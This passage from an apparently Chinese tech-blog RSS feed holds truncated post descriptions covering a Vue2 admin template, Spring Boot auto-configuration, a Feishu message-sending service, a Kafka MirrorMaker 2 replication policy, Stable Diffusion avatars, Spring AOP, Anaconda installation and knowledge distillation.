:class=&#34;more?&#39;el-icon-arrow-up&#39;:&#39;el-icon-arrow-down&#39;&#34;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/div&amp;gt; --&amp;gt; &amp;lt;/el-row&amp;gt; &amp;lt;/el-form&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/el-card&amp;gt; &amp;lt;el-card class=&#34;box-card&#34; style=&#34;</description>
    </item>
    <item>
      <title>vue2后台管理系统增删改查模版2</title>
      <link>https://bchobby.github.io/posts/8a963fb2425e1d8d5e30ce1ffbb01c35/</link>
      <pubDate>Thu, 21 Dec 2023 13:54:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8a963fb2425e1d8d5e30ce1ffbb01c35/</guid>
      <description>&amp;lt;template&amp;gt; &amp;lt;div class=&#34;small-user-wrapper&#34;&amp;gt; &amp;lt;!-- 搜索 --&amp;gt; &amp;lt;el-card class=&#34;box-card&#34;&amp;gt; &amp;lt;div class=&#34;filter-container&#34;&amp;gt; &amp;lt;el-form :model=&#34;searchInfo&#34; label-width=&#34;120px&#34;&amp;gt; &amp;lt;Row&amp;gt; &amp;lt;Col :xs=&#34;24&#34; :lg=&#34;6&#34;&amp;gt; &amp;lt;el-form-item label=&#34;规则名称：&#34;&amp;gt; &amp;lt;el-input v-model=&#34;searchInfo.title&#34; placeholder=&#34;请输入规则名称&#34; style=&#34;width: 200px; margin-right: 10px&#34; @keyup.enter.native=&#34;search&#34;&amp;gt; &amp;lt;/el-input&amp;gt; &amp;lt;/el-form-item&amp;gt; &amp;lt;/Col&amp;gt; &amp;lt;/Row&amp;gt; &amp;lt;el-row type=&#34;flex&#34; justify=&#34;end&#34; style=&#34;margin-bottom:10px;align-items: center;&#34;&amp;gt; &amp;lt;el-button type=&#34;primary&#34; icon=&#34;el-icon-search&#34; style=&#34;margin-right: 10px&#34; @click=&#34;search&#34;&amp;gt;搜索&amp;lt;/el-button&amp;gt; &amp;lt;el-button type=&#34;dange&#34; icon=&#34;el-icon-refresh&#34; style=&#34;margin-right: 10px&#34; @click=&#34;reset&#34;&amp;gt;重置&amp;lt;/el-button&amp;gt; &amp;lt;!-- &amp;lt;el-button type=&#34;primary&#34; style=&#34;margin-right: 10px&#34;&amp;gt;导出&amp;lt;/el-button&amp;gt; --&amp;gt; &amp;lt;!-- &amp;lt;el-button type=&#34;primary&#34; icon=&#34;el-icon-refresh&#34; style=&#34;margin-right: 10px&#34;&amp;gt;刷新状态&amp;lt;/el-button&amp;gt; --&amp;gt; &amp;lt;!-- &amp;lt;div class=&#34;screen&#34; @click=&#34;more=!more&#34;&amp;gt;{{more?&#39;收起&#39;:&#39;更多&#39;}}筛选&amp;lt;i :class=&#34;more?&#39;el-icon-arrow-up&#39;:&#39;el-icon-arrow-down&#39;&#34;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/div&amp;gt; --&amp;gt; &amp;lt;/el-row&amp;gt; &amp;lt;/el-form&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/el-card&amp;gt; &amp;lt;el-card class=&#34;</description>
    </item>
    <item>
      <title>Spring Boot的自动配置原理</title>
      <link>https://bchobby.github.io/posts/b37bbb13dedea58f0a370ee2d8be8a26/</link>
      <pubDate>Thu, 21 Dec 2023 13:42:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b37bbb13dedea58f0a370ee2d8be8a26/</guid>
      <description>创建一个SpringBoot项目，你会发现只有启动类的上方存在一个注解@SpringBootApplication，继续点开该注解你会发现它是一个复合注解，包含@ComponentScan、@SpringBootConfiguration、@EnableAutoConfiguration等注解，其中@EnableAutoConfiguration注解就是用于开启自动配置的注解。&#xA;继续点击@EnableAutoConfiguration注解，你会发现@EnableAutoConfiguration注解中使用了@Import注解，该注解引用了AutoConfigurationImportSelector，AutoConfigurationImportSelector组件提供了getAutoConfigurationEntry(AnnotationMetadata annotationMetadata)的方法用于获取所有的配置类信息，并对无用的配置类进行过滤，源码如下：&#xA;通过源码能看到，getAutoConfigurationEntry()方法中是通过getCandidateConfigurations(annotationMetadata, attributes)来获取所有的配置类，而该方法实际上是调用了SpringFactoriesLoader类中的loadFactoryNames和loadspringFactories方法来读取META-INF/spring.factories文件，从META-INF/spring.factories文件中读取所有配置类信息&#xA;题外话：所以点了这么多层，最后干活的是SpringFactoriesLoader中的laodSpringFactories方法。。。。。附源码。&#xA;我画了一张图，可能看不太清，可以下载之后放大看。&#xA;总结：Spring Boot的自动配置原理，@SpringBootApplication的注解中包含了@EnableAutoConfiguration注解，该注解引入了@Import注解，Spring IOC容器在启动时会解析@Import注解，而@Import注解又引入了AutoConfigurationImportSelector组件，该组件会调用SpringFactoriesLoader中的loadFactorNames方法，而loadFactorNames方法又会调用loadSpringFactories方法来读取META-INF下的spring.factories文件中的配置类信息并返回。AutoConfigurationImportSelector组件在获取到所有的配置类信息之后，会通过@Condition注解过滤无效的配置类。</description>
    </item>
    <item>
      <title>Linux服务器 部署飞书信息发送服务</title>
      <link>https://bchobby.github.io/posts/144d0a07f42d3b098947200111db2455/</link>
      <pubDate>Thu, 21 Dec 2023 13:27:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/144d0a07f42d3b098947200111db2455/</guid>
      <description>项目介绍： 飞书信息发送服务是指将飞书信息发送服务部署到一个Linux服务器上。飞书是一款企业级的即时通讯和协作工具，支持发送消息给飞书的功能。通过部署飞书信息发送服务，可以方便内网发送信息给外网飞书。&#xA;项目代码结构展示： 文件结构解释： common文件夹保存了一些基础运行文件。&#xA;api.py通过调用飞书开放平台的API获取租户访问令牌，其中调用了飞书的url接口。&#xA;logs.py将日志数据保存到文件夹logs中。&#xA;send_message.py实现使用飞书开放平台的API发送消息给指定用户。&#xA;logs文件夹保存的是消息传递过程中产生的日志信息。&#xA;other文件夹保存有可转换文件的部分程序，供后续开发使用。&#xA;static文件夹保存有html文件需要调用的css、js和json文件等配置文件。&#xA;templates文件夹保存有index.html文件，即网页运行文件。&#xA;app.py文件是整个项目的运行文件，实现了一个简单的web应用程序，用户可以通过表单提交消息，并将消息发送给另一个模块进行处理。同时，在后台记录了用户的IP地址、ID、消息和用户名等信息。 项目代码解释： 1. api.py代码解释： &#39;&#39;&#39; 该代码的作用是使用飞书开放平台的 API 获取应用的访问令牌（tenant_access_token），并将其打印出来。 该代码通过发送HTTP POST请求，获取飞书应用的访问令牌，并将结果打印出来，以便后续使用该令牌来访问飞书开放平台的其他API。 &#39;&#39;&#39; # 导入requests模块。 import requests # 飞书信息传入接口 # 定义了请求的URL，该URL用于获取应用的访问令牌。 url = &#39;https://open.feishu.cn/open-apis/auth/v3/tenant_access_token/internal&#39; # 定义了请求的头部，指定Content-Type为application/json。 headers = { &#39;Content-Type&#39;: &#39;application/json&#39; } # 定义了请求的数据，包括应用的app_id和app_secret。 # 得从飞书集成平台上创建一个飞书服务，从而获得其中的参数 data = { # 请求参数（从飞书内部app获得） &#34;app_id&#34;: &#34;cli_a5cb1xxxxxxxxxxxxx&#34;, &#34;app_secret&#34;: &#34;qNFmmFTQqexxxxxxxxxxxxxxxxxxxxxxx&#34; } # 发送POST请求，将URL、头部和数据传递给requests.post()函数，并将返回的响应对象保存在response变量中。 response = requests.post(url, headers=headers, json=data) # 检查响应的状态码，如果状态码为200，则表示请求成功，继续执行下一步；否则打印请求失败的提示信息。 if response.status_code == 200: # 请求成功 # 将响应的内容解析为JSON格式，保存在result变量中。 result = response.</description>
    </item>
    <item>
      <title>Spring Boot Web中文文档</title>
      <link>https://bchobby.github.io/posts/1fcd299ebeb5127c7caea20b3b5ce0ec/</link>
      <pubDate>Thu, 21 Dec 2023 12:29:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1fcd299ebeb5127c7caea20b3b5ce0ec/</guid>
      <description>本文为官方文档直译版本。原文链接&#xA;Spring Boot Web中文文档 引言Servlet Web ApplicationsSpring Web MVC FrameworkSpring MVC 自动配置Spring MVC 转换服务HttpMessageConvertersMessageCodesResolver静态内容欢迎页面自定义图标路径匹配和内容协商ConfigurableWebBindingInitializer模板引擎错误处理自定义错误页面在 Spring MVC 之外映射错误页面WAR 部署中的错误处理 CORS 支持 JAX-RS 和 Jersey嵌入式 Servlet 容器支持Servlets, Filters, 和 Listeners将 Servlet、Filters和Listeners注册为 Spring Bean 初始化 Servlet 上下文扫描Servlets, Filters, 和 listeners ServletWebServerApplicationContext自定义嵌入式 Servlet 容器SameSite Cookie字符编码程序自定义直接自定义 ConfigurableServletWebServerFactory JSP 的局限 Reactive Web ApplicationsSpring WebFlux FrameworkSpring WebFlux 自动配置Spring WebFlux 转换服务带有 HttpMessageReaders 和 HttpMessageWriters 的 HTTP 编解码器静态内容欢迎页面模板引擎错误处理自定义错误页面 Web Filters 嵌入式反应式服务器支持自定义反应式服务器程序自定义直接自定义 ConfigurableReactiveWebServerFactory 反应式服务器资源配置 优雅关机Spring SecurityMVC SecurityWebFlux SecurityOAuth2Client通用提供商的 OAuth2 客户端注册 资源服务器认证服务器 SAML 2.</description>
    </item>
    <item>
      <title>【Kafka】MM2同步Kafka集群时如何自定义复制策略(ReplicationPolicy)</title>
      <link>https://bchobby.github.io/posts/9af9e94a082dedadc0db69eca18480f4/</link>
      <pubDate>Thu, 21 Dec 2023 11:29:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9af9e94a082dedadc0db69eca18480f4/</guid>
      <description>文章目录 需求准备工作自定义复制策略编译代码 需求 使用MM2同步集群数据，topic名称不能变，默认的复制策略为：DefaultReplicationPolicy，这个策略会把同步至目标集群的topic都加上一个源集群别名的前缀，比如源集群别名为A，topic为：bi-log，该topic同步到目标集群后会变成：A.bi-log，为啥这么做呢，就是为了避免双向同步的场景出现死循环。&#xA;官方也给出了解释：&#xA;这是 MirrorMaker 2.0 中的默认行为，以避免在复杂的镜像拓扑中重写数据。 需要在复制流设计和主题管理方面小心自定义此项，以避免数据丢失。 可以通过对“replication.policy.class”使用自定义复制策略类来完成此操作，所以本文主要记录一下自定义复制策略的流程。&#xA;准备工作 下载源码&#xA;https://kafka.apache.org/downloads&#xA;kafka源码是使用Gradle编译的，需要安装Gradle，具体安装操作不赘述了，可以百度。&#xA;源码使用IDEA打开后，在connect模块下找到接口：org.apache.kafka.connect.mirror.ReplicationPolicy&#xA;自定义复制策略 ReplicationPolicy这个接口主要有几个方法：&#xA;formatRemoteTopic：重命名topic名称topicSource：根据topic获取source集群别名upstreamTopic：获取topic在source集群中的名称originalTopic：获取topic原始的名称（针对多次同步过程中，被重命名过多次的topic）isInternalTopic：判断是否为内部topic 根据我们的需求，自定义策略需要满足：&#xA;不重命名source集群中topic的名称能返回source集群别名 实现很简单，就是保证topic原封不动即可，完整代码如下：&#xA;package org.apache.kafka.connect.mirror; import org.apache.kafka.common.Configurable; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import java.util.Map; import java.util.regex.Pattern; /** * Defines remote topics like &#34;us-west.topic1&#34;. The separator is customizable and defaults to a period. */ public class CustomReplicationPolicy implements ReplicationPolicy, Configurable { // In order to work with various metrics stores, we allow custom separators.</description>
    </item>
    <item>
      <title>利用Stable Diffusion将自己的照片10秒钟做张卡通头像吧</title>
      <link>https://bchobby.github.io/posts/5b55fc5dce85f93a96444eb9b555f1d9/</link>
      <pubDate>Thu, 21 Dec 2023 11:06:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5b55fc5dce85f93a96444eb9b555f1d9/</guid>
      <description>大家好！今天我将用一种二大爷也能听懂的方式来分享一个实操干货——如何使用Stable Diffusion在10秒钟内将您的普通照片变身为有趣的卡通头像。不论您是社交媒体上的头像达人，还是仅仅想为自己的数字身份增添一些个性，这篇教程都将是您的不二选择。现在，让我们一起迈入Stable Diffusion的奇妙世界，发掘其在个性化创作上的无限可能性。&#xA;认识Stable Diffusion Stable Diffusion（简称SD）是一种强大的AI图像生成工具，它能够根据您的描述生成几乎任何类型的图像。从梦幻般的风景到精确的产品设计，SD都能轻松应对。特别是在个性化头像制作上，SD展示了其独特的魅力和高效性。您只需提供一张照片和简单的描述，SD便能在瞬间为您带来惊喜。&#xA;头像制作案例 想象一下，以前制作一个独一无二的头像或壁纸，您可能需要花费大量时间和金钱去请人定制。但现在，借助SD，您可以轻松定制属于自己的二次元头像、盲盒模型或个性壁纸。这不仅极大地节省了时间和成本，还为您提供了一个展示个性和创造力的平台。&#xA;-怎样?&#xA;-动心了么?&#xA;-你可能会问难么?&#xA;-难!?&#xA;-除非你想成为SD的大师.&#xA;-咱们需要的是什么?&#xA;-满足我们的日常需求.&#xA;-这个就一点也不难了.&#xA;-因为从今天开始我会抛弃那些繁琐难懂的参数讲解和教学&#xA;-我只用最简单的话语告诉你,怎么想,怎么做.&#xA;-我保证连二大爷都能听得懂,做得到.&#xA;-因为我觉得工具是拿来用的,只有用的顺手你才会有去精通的动力.&#xA;-学会一堆的理论,不如上手就能用.&#xA;-所以我们的口号就是:非名山不留僧住,是真佛直说家常.&#xA;-我的教程不会像那些技术大神一样拆解每一个参数的意义.&#xA;-我只会告诉你简单几步就能实现你想要的效果.&#xA;-Stable Diffusion原本就是这样简单!&#xA;问题1:把一个大象放到冰箱里需要几步?&#xA;答:3步&#xA;1、把冰箱门打开;&#xA;2、把大象放进去;&#xA;3、把冰箱门关上.&#xA;问题2:把一张头像图片改成卡通风格需要几步?&#xA;答:5步&#xA;1、选择SD卡通风格大模型&#xA;2、把SD的图生图打开;&#xA;3、上传图片;&#xA;4、按照步骤做一些简单的设置;&#xA;5、点击生成.&#xA;很多时候事情觉得难或者麻烦是因为,我们没有找到合适的思路.只要思路有了,你就有无限的创意,而不需要别人告诉你该怎么做.&#xA;例如:我要帮妹子把这张图转换成卡通头像&#xA;我只需要下面5步:&#xA;1.选一个卡通大模型:（按照图选则即可）&#xA;2.打开SD图生图选项卡&#xA;3.把妹子的图放到图生图中&#xA;4.调整参数:&#xA;妹子说:“怎么不像自己?”你就拉低一些数值,比如说.035&#xA;妹子说:“我想要再夸张一些.”你就拉高一些数值.&#xA;没什么难的,总之数值越小就越像原图,越大就越奔放.&#xA;帮大家跑一下从0.2-1.0不同重绘强度的图的视觉样子。&#xA;数值越大软件画图越精细.&#xA;不过也不能太大画蛇添足的故事,小时候还是听过的吧?&#xA;先保持默认跑几张看看&#xA;不知道是多少?&#xA;没事,会看宽窄吧?&#xA;如果是宽图就拉动上面这个,如果是窄图就拉动下面这个.&#xA;拉动的目的就只有一个让红框盖住下妹子的图片.&#xA;-(分叉刘海儿英文是什么?我不会……)&#xA;-我也不会!&#xA;没事,用这段给你写好的负面词汇.&#xA;EasyNegative, ng_deepnegative_v1_75t, badhandv4,(worst quality:2),&#xA;(low quality:2), (normal quality:2), lowres, ((monochrome)),</description>
    </item>
    <item>
      <title>SpringAOP复习</title>
      <link>https://bchobby.github.io/posts/009113574e688daf8e5904fa1574c198/</link>
      <pubDate>Thu, 21 Dec 2023 10:43:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/009113574e688daf8e5904fa1574c198/</guid>
      <description>SpringAOP AOP为Aspect Oriented Programming的缩写，意为：面向切面编程。他是一种可以在不修改原来核心代码的情况侠给程序动态统一进行增强的一种技术&#xA;SpringAOP：批量对Spring容器中的bean方法做增强，并且这种增强不会与原来方法中的代码耦合&#xA;1.快速入门 1.1需求 要求让08_SpringAOP模块中service包下所有类的所有方法在调用前都输出：方法被调用了&#xA;1.2准备工作 第一步：引入依赖&#xA;&amp;lt;!--SpringIOC相关依赖--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-context&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;5.1.9.RELEASE&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!--AOP相关依赖--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.aspectj&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;aspectjweaver&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.8.13&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 第二步：开启组件扫描&#xA;&amp;lt;context:component-scan base-package=&#34;com.sangeng&#34;&amp;gt;&amp;lt;/context:component-scan&amp;gt; 第三步：相关bean注入容器中&#xA;@Service public class PhoneService { public void deleteAll(){ System.out.println(&#34;PhoneService中deleteAll的核心代码&#34;); } } @Service public class UserService { public void deleteAll(){ System.out.println(&#34;UserService中deleteAll的核心代码&#34;); } } 1.3实现AOP ①开启AOP注解支持 &amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;beans xmlns=&#34;http://www.springframework.org/schema/beans&#34; xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34; xmlns:aop=&#34;http://www.springframework.org/schema/aop&#34; xmlns:context=&#34;http://www.springframework.org/schema/context&#34; xsi:schemaLocation=&#34;http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/aop https://www.springframework.org/schema/aop/spring-aop.xsd http://www.springframework.org/schema/context https://www.springframework.org/schema/context/spring-context.xsd&#34;&amp;gt; &amp;lt;!--开启组件扫描--&amp;gt; &amp;lt;context:component-scan base-package=&#34;com.sangeng&#34;&amp;gt;&amp;lt;/context:component-scan&amp;gt; &amp;lt;!--开启aop注解支持--&amp;gt; &amp;lt;aop:aspectj-autoproxy&amp;gt;&amp;lt;/aop:aspectj-autoproxy&amp;gt; &amp;lt;/beans&amp;gt; ②创建切面类 创建一个类，在类上加上@Component和@Aspect</description>
    </item>
    <item>
      <title>Python---Anaconda安装</title>
      <link>https://bchobby.github.io/posts/6df238a51593e0f6ac2d59a95b8f222d/</link>
      <pubDate>Thu, 21 Dec 2023 08:27:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6df238a51593e0f6ac2d59a95b8f222d/</guid>
      <description>目录 前言Anaconda介绍特点 一.下载安装包1.1 官网直接下载1.2 清华镜像网下载 二. 安装三.配置3.1 配置环境变量3.2 验证安装anaconda验证（安装多个python时）未添加环境变量的 python版本验证 3.3 anaconda设置更改conda源 四. 彻底卸载 前言 Anaconda介绍 Aanconda是基于conda的Python数据科学和机器学习开发平台&#xA;包括Conda、Python以及一大堆安装好的工具包，比如：numpy、pandas等&#xA;conda是一个开源的包、环境管理器，可以用于在同一个机器上安装不同版本的软件包及其依赖，并能够在不同的环境之间切换&#xA;总之，安装anaconda可以便于机器学习和数据分析。而且也不必再安装python，比较方便。&#xA;(通常情况下，不建议安装多个python的情况下再次安装Anaconda，容易导致版本混乱)&#xA;特点 优势：方便了Python数据科学和机器学习，一次安装，不用再一个一个下载第三方库&#xA;不足：软件较大，会造成功能冗余。&#xA;一.下载安装包 1.1 官网直接下载 下载地址&#xA;首先我们可以去anaconnda官网下载安装包，不过由于它是外国网站，所以下载速度很慢，而且时不时出现下载失败，所以不建议去官网下载安装包。&#xA;建议选择第二种方法下载&#xA;进入官网下载地址后出现界面，可以直接点击Download下载，也可以划到最下面选择版本（windows好像默认只有最新版）&#xA;1.2 清华镜像网下载 下载地址&#xA;在这里可以查看版本信息，选择比较新的并且符合自己操作系统的版本即可。&#xA;划到底部可以选择最新版本安装&#xA;点击下载链接后等待下载完毕&#xA;二. 安装 点击启动下载后的安装程序&#xA;下一步（Next）&#xA;同意协议（I Agree)&#xA;这里可以根据自己实际情况选择，如果本机有多个用户使用，可以选择All Users（后续操作需要管理员授权），否则直接选择默认（Just Me）即可。之后点击下一步&#xA;选择安装路径，最好不要装在C盘，点击Browse…，浏览路径并选中即可。然后接着下一步（Next）&#xA;这里需要注意一下，默认情况下第一个选框没有勾选。视自身情况选择&#xA;如果本机未安装python，可以勾选。这将自动把anaconda添加到系统环境变量，不用再手动添加了，比较方便。如果没有勾选，稍后需要手动将anaconda加入到环境变量。&#xA;如果已经安装了python，就不要勾选，否则原默认python会被更改为Anaconda自带的python，相当于原来的python不起作用了。如果想在命令行使用原来python，不要勾选它。&#xA;点击安装（Install）等待安装&#xA;这个可以不管，直接下一步就行。&#xA;这两个框可选（没必要勾选）&#xA;勾选再Finish,就会弹出两个浏览器窗口到官网查看相关产品信息&#xA;取消勾选再Finish即可结束安装。&#xA;在菜单位置可以直接找到相关的启动程序（不然自己去安装的文件里找比较麻烦）。建议鼠标右键并选择打开文件位置，把快捷方式拉到桌面方便以后进去。&#xA;三.配置 3.1 配置环境变量 （如果本机原来未安装python并且已勾选自动添加环境变量，这一步直接跳过即可）&#xA;注意如果不希望原来的python版本被覆盖，环境变量这一步直接跳过！&#xA;鼠标右键点击此电脑，打开属性&#xA;找到高级系统设置&#xA;点击环境变量&#xA;在系统变量中选择path双击进行修改&#xA;添加以下路径(根据自己的路径进行修改)&#xA;D:\anaconda\anaconda3 D:\anaconda\anaconda3\Library\mingw-w64\bin D:\anaconda\anaconda3\Library\usr\bin D:\anaconda\anaconda3\Library\bin D:\anaconda\anaconda3\Scripts 3.</description>
    </item>
    <item>
      <title>OpenAI暂停字节跳动账户：知识蒸馏技术是什么？</title>
      <link>https://bchobby.github.io/posts/3221587ad1010800e3cad71cc6073d9c/</link>
      <pubDate>Wed, 20 Dec 2023 23:29:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3221587ad1010800e3cad71cc6073d9c/</guid>
      <description>这一决策不仅成为了科技新闻的头条，更引发了关于AI伦理与法律的深入讨论。据报道，字节跳动涉嫌使用GPT数据来优化其自家AI模型。这一事件突显了在AI技术发展的道路上，遵循规则和伦理的重要性。&#xA;在这个背景下，知识蒸馏技术显得尤为重要。它不仅是AI技术的一个关键分支，更是在合规和伦理框架内推进技术创新的典范。知识蒸馏允许我们在保护原始数据隐私的前提下，转移和应用AI模型中的关键知识。这种技术使得即使在严格的数据使用规范和法律约束下，我们也能有效地利用AI模型的强大能力。&#xA;因此，本文将深入探讨知识蒸馏技术的原理、应用和挑战，同时着重强调其在遵守现代AI伦理和法律规范中的作用。我们将首先了解知识蒸馏的基本概念，然后探讨其在各种场景下的实际应用，最后讨论在技术发展和规则遵守并行不悖的大背景下，知识蒸馏如何成为连接理论与实践的重要桥梁。&#xA;文章目录 当前挑战知识蒸馏技术什么是知识蒸馏？知识知识的多样性基于响应的知识基于特征的知识基于关系的知识 训练离线蒸馏在线蒸馏自蒸馏 架构设计的关键性知识蒸馏算法对抗蒸馏多教师蒸馏跨模态蒸馏其他蒸馏算法 应用领域1. 视觉2. 自然语言处理（NLP）3. 语音 结论附录：我们的AI服务 当前挑战 随着大规模机器学习和深度学习模型的应用日益广泛，我们面临着新的挑战。例如，GPT-3这样的模型在570GB的文本数据上进行训练，拥有高达1750亿个参数。虽然这些庞大的模型在推动技术发展方面发挥了重要作用，但将它们部署到实际应用中，尤其是边缘计算设备上，却是一项艰巨的任务。&#xA;数据科学的当前趋势主要集中在开发单一的大型模型或多模型组合，以在验证集上获得出色的表现。然而，这些验证集往往无法充分反映现实世界中的数据多样性。因此，尽管一些机器学习模型在精心策划的验证数据集上表现出色，但在实际应用中，面对真实测试数据时，它们往往难以满足性能、响应时间和处理能力的要求。&#xA;知识蒸馏技术 知识蒸馏技术为这些挑战提供了有效的解决方案。它通过从复杂的机器学习模型或多模型组合中提取关键知识，并将其转化为更小、更易于部署的单一模型，实现了在不显著降低性能的前提下应对这些挑战。这种方法不仅提高了模型的实用性，而且为深度学习的发展提供了新的视角。&#xA;博客内容概览&#xA;在本篇博客中，我将涵盖以下主题：&#xA;知识蒸馏的详细描述：包括其基本原理、训练方案和算法。知识蒸馏在不同领域的应用：深入探索其在图像、文本和音频深度学习中的实际应用。 什么是知识蒸馏？ 知识蒸馏指的是将知识从一个庞大、复杂的模型或一组模型传递到一个更小、更简洁的模型的过程。这种小型模型能够在现实世界的限制条件下得到有效部署。本质上，它是一种模型压缩的形式。&#xA;在过去十年中，随着深度学习在语音识别、图像识别和自然语言处理等领域的成功应用，知识蒸馏技术在现实世界应用中变得越来越重要。&#xA;特别是在部署大型深度神经网络模型时，面对内存和计算能力有限的边缘设备，这种挑战尤为显著。模型压缩方法的提出和希顿（Hinton）及其同事对“知识蒸馏”框架的正式命名，标志着这一技术的重要进步。&#xA;如图1所示，知识蒸馏中的小型“student”模型学习模仿大型的“teacher”模型，并利用教师的知识实现相似或更高的准确率。在接下来的内容中，我将深入探讨知识蒸馏框架及其底层架构和机制。&#xA;知识 知识蒸馏技术是深度学习中一项革命性的进步，它包括三个核心要素：知识、蒸馏算法和师生架构。&#xA;知识的多样性 在神经网络领域，我们通常将“知识”定义为网络学习到的权重和偏差。在大型深度神经网络中，知识的来源异常丰富。例如，知识蒸馏中常用logits作为从教师模型提取知识的主要来源，但也有研究集中于利用中间层的权重或激活值。除此之外，其他知识形式还包括不同类型的激活、神经元间的关系，甚至是教师模型本身的参数。&#xA;我们可以将这些不同的知识形式归类为三种类型：&#xA;基于响应的知识（见图2）基于特征的知识基于关系的知识 下面，我将详细探讨这三种不同的知识来源及其在知识蒸馏中的应用。&#xA;基于响应的知识 如图2所示，基于响应的知识主要关注教师模型的最终输出层。学生模型的目标是模仿教师模型的预测。这一过程，如图3所示，可以通过一种称为蒸馏损失的特殊损失函数来实现，该函数量化了学生模型与教师模型logits之间的差异。在训练过程中，通过最小化这一损失，学生模型逐渐学会像教师模型那样进行预测。&#xA;在计算机视觉任务（例如图像分类）中，软目标（soft targets）承载了基于响应的知识。软目标代表了输出类别的概率分布，通常通过softmax函数来估计。软目标在知识蒸馏过程中的影响通过一个称为“温度”的参数来调节，这种基于软目标的知识蒸馏通常应用于监督学习环境中。&#xA;基于特征的知识 如图4所示，经过训练的教师模型在其中间层中捕获了丰富的数据知识，这对深度神经网络至关重要。这些中间层学会识别特定的特征，这种知识可以被用来训练学生模型。目标是使学生模型学习到与教师模型相同的特征激活。通过最小化两者特征激活之间的差异，蒸馏损失函数实现了这一目标。&#xA;基于关系的知识 如图5所示，除了来自神经网络输出层和中间层的知识，我们还可以利用捕捉特征图之间关系的知识来训练学生模型。这种形式的知识，被称为基于关系的知识，可以通过模型特征图之间的相关性、图形、相似度矩阵、特征嵌入，或者特征表示的概率分布来建模。&#xA;通过深入理解这些知识的不同形式和来源，我们能更有效地实现知识蒸馏，从而在保持模型性能的同时减小其规模和复杂度。&#xA;训练 知识蒸馏的实施涉及多种训练方法，主要分为三种类型：离线蒸馏、在线蒸馏和自蒸馏。这些方法的选择取决于教师模型与学生模型是否同时进行修改，如图6所示。&#xA;离线蒸馏 离线蒸馏是最为常见的知识蒸馏方法。这种方法涉及使用一个已预训练的教师模型来指导学生模型。具体过程如下：首先在训练数据集上预训练教师模型，然后将教师模型的知识转移到学生模型中。鉴于深度学习领域的最新进展，现在有许多开源的预训练神经网络模型可用作教师。由于其实施相对简单，离线蒸馏在深度学习领域中成为了一种成熟的技术。&#xA;在线蒸馏 与离线蒸馏不同的是，在线蒸馏中，教师和学生模型在一个端到端的训练过程中同时进行更新。这种方法特别适用于无法使用预训练模型的场景。在线蒸馏可以充分利用并行计算资源，使其成为一种效率较高的训练方法。&#xA;自蒸馏 自蒸馏是一种独特的训练方法，如图6所展示，它使用同一模型作为教师和学生。例如，可以使用神经网络深层的知识来训练其浅层。这种方法可以被视为在线蒸馏的一个特例，并可以通过多种方式实现，例如将教师模型早期的知识传递给学生模型的后期训练。&#xA;通过这三种不同的训练方法，知识蒸馏技术为深度学习模型提供了灵活性和高效性，使其在现代计算环境中更具适应性和实用性。&#xA;架构设计的关键性 在知识蒸馏领域，设计高效的学生-教师网络架构至关重要。由于通常存在教师模型（复杂）与学生模型（简单）间的模型容量差距，优化知识传递变得尤为重要。以下是一些常见的架构设计方法：&#xA;简化版教师模型：使用更少的层和更少的神经元。教师模型的量化版本：通过减少存储和计算需求来简化模型。具有高效基本操作的较小网络：优化了运算效率。具有优化全局网络架构的较小网络：更好地利用资源。与教师相同的模型：但在某些方面进行了简化或优化。 此外，利用神经架构搜索这样的最新技术，可以为特定教师模型设计最优的学生模型架构。&#xA;知识蒸馏算法 本部分将深入探讨用于将教师模型的知识转移给学生模型的各种算法。&#xA;对抗蒸馏 在生成对抗网络（GAN）的背景下发展起来的对抗学习，已被应用于知识蒸馏。这种方法涉及训练一个生成模型，以生成尽可能接近真实数据分布的合成数据样本，以及一个判别器模型，用于区分真实和合成数据样本。对抗蒸馏利用这一概念，旨在提升学生和教师模型在真实数据分布表示方面的能力。&#xA;对抗学习可用于训练生成模型，以获取合成训练数据样本，这些样本可直接使用或用于增强原始训练数据集。基于对抗学习的另一种蒸馏方法关注于训练判别器模型，该模型根据逻辑或特征图区分学生和教师模型的输出。这有助于学生更好地模仿教师。此外，还有一种在线蒸馏技术，其中学生和教师模型同时进行优化。&#xA;多教师蒸馏 多教师蒸馏策略下，学生模型从多个不同的教师模型获取知识。如图7所示，采用多个教师模型可以为学生模型提供多种类型的知识，这可能比单一教师模型提供的知识更有益。&#xA;多教师提供的知识可合并为所有模型的平均响应。通常，教师传递的知识类型基于逻辑和特征表示。正如之前讨论的，多个教师可以传递不同类型的知识。&#xA;跨模态蒸馏 跨模态蒸馏如图8所示，涉及一个在特定模态上训练的教师模型，其知识被提炼并传递到需要从不同模态获取知识的学生模型。当训练或测试期间缺乏特定模态的数据或标签时，跨模态蒸馏变得尤为重要。&#xA;这种方法在视觉领域尤为常见。例如，一个在带标签的图像数据上训练的教师模型的知识，可以用于提炼一个以无标签数据（如光流、文本或音频）为输入领域的学生模型。在这种情况下，教师模型的图像特征用于指导学生模型的训练。跨模态蒸馏对于视觉问答、图像描述等应用至关重要。&#xA;其他蒸馏算法 